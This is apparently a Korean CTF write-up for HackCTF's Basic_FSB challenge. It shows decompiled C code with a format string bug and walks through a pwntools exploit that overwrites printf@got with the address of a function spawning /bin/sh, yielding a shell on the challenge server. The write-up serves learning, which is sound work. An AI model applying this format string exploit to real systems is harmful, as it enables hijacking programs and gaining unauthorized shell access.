본문 바로가기

study/CTF

[HackCTF] Basic_FSB

1. 파일을 다운받고 디컴파일

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  vuln();
  return 0;
}
int flag()
{
  puts("EN)you have successfully modified the value :)");
  puts(aKr);
  return system("/bin/sh");
}
int vuln()
{
  char s; // [esp+0h] [ebp-808h]
  char format; // [esp+400h] [ebp-408h]

  printf("input : ");
  fgets(&s, 1024, stdin);
  snprintf(&format, 0x400u, &s);
  return printf(&format);
}

main() -> vuln() 로의 이동은 있지만, flag() 함수에 접근하는 것은 없다.

flag() 함수의 시스템함수가 실행되어야 함을 알 수 있다.

그러기 위해서는 flag() 함수를 실행 시켜야만한다.

이때 Format String Attack (FSB) 을 이용하여 flag() 함수를 실행시킬 수 있다.

 

2. Format String Attack (FSB - Format String Bug)

- basic_fsb 파일의 권한을 755으로 변경한 후 실행해보자 #chmod 755 ./basic_fsb

- 출력된 결과물을 확인하니, "aaaa"의 값인 0x61616161이 두번재 포맷스트링(%x)에서 나오는 것을 볼 수 있다. 즉, 두번째에 들어가는 포맷스트링은 처음 입력한 4바이트를 가리키는 걸 알 수 있다.

- 그러면 첫번째 인자를 이용해서 flag의 주소의 값만큼을 출력할 수 있다록하고 두번재 인자는 %n을 이용해 값을 넣을 수 있도록 조정하면 된다.

- FSB의 자세한 설명은 아래 링크 참고

shayete.tistory.com/entry/5-Format-String-Attack-FSB

 

5. Format String Attack (FSB)

Shayete 입니다. 5번째 강의는 포맷스트링 버그에 대해 알아보도록 하겠습니다. 포맷스트링버그는 개발자의 실수로 printf(buf) 이렇게 사용했을 때 입력값을 포맷스트링으로 넣으면 입력값을 문자

shayete.tistory.com

3. python 작성하기

printf 함수의 got 주소
flag() 함수의 주소

*printf@got 주소는 해당 "call _printf" 클릭 -> "jum ds:off_804A00C" 클릭 -> ".got.plt:0804A00C" 나옴

printf@got 주소를 flag 함수의 주소로 overwrite 하기 위해서는 pirnt@got 주소 & flag 함수의 주소 가 필요하다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3002)

flag = 0x80485b4

print_got= 0x804a00c

payload = p32(print_got)
payload += "%134514096x%n"

p.recvuntil("input : ")
p.sendline(payload)
p.interactive()

- expoit code : print_got 주소 + (flag 주소값-4) + %n

payload += "%134514096x%n" -> 134514096 값은 flag = 0x80485b4 값을 dec로 변환한다음 -4byte를 해줬다.

이유: %n을 하게 되면

4 byte(print_got) + 134514096(%134514096x=134514100 으로 flag주소값을 출력하게 된다. 

- 두번째 서식문자인 %n은 printf@got 주소값이 저장된 메모리를 가리키고 있기 때문에 해당 공간에 값을 overwrite 하게되고  flag() 함수가 실행된다.

'study > CTF' 카테고리의 다른 글

[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2020.09.25
[HackCTF] Basic_BOF #2  (0) 2020.09.25
[HackCTF] Pwnable - RTL_World  (0) 2020.09.23
[HackCTF] Pwnable - Basic_BOF #1  (0) 2020.09.23
[CTF] pwanable.kr_passcode (PLT와 GOT 개념 정리)  (0) 2020.06.12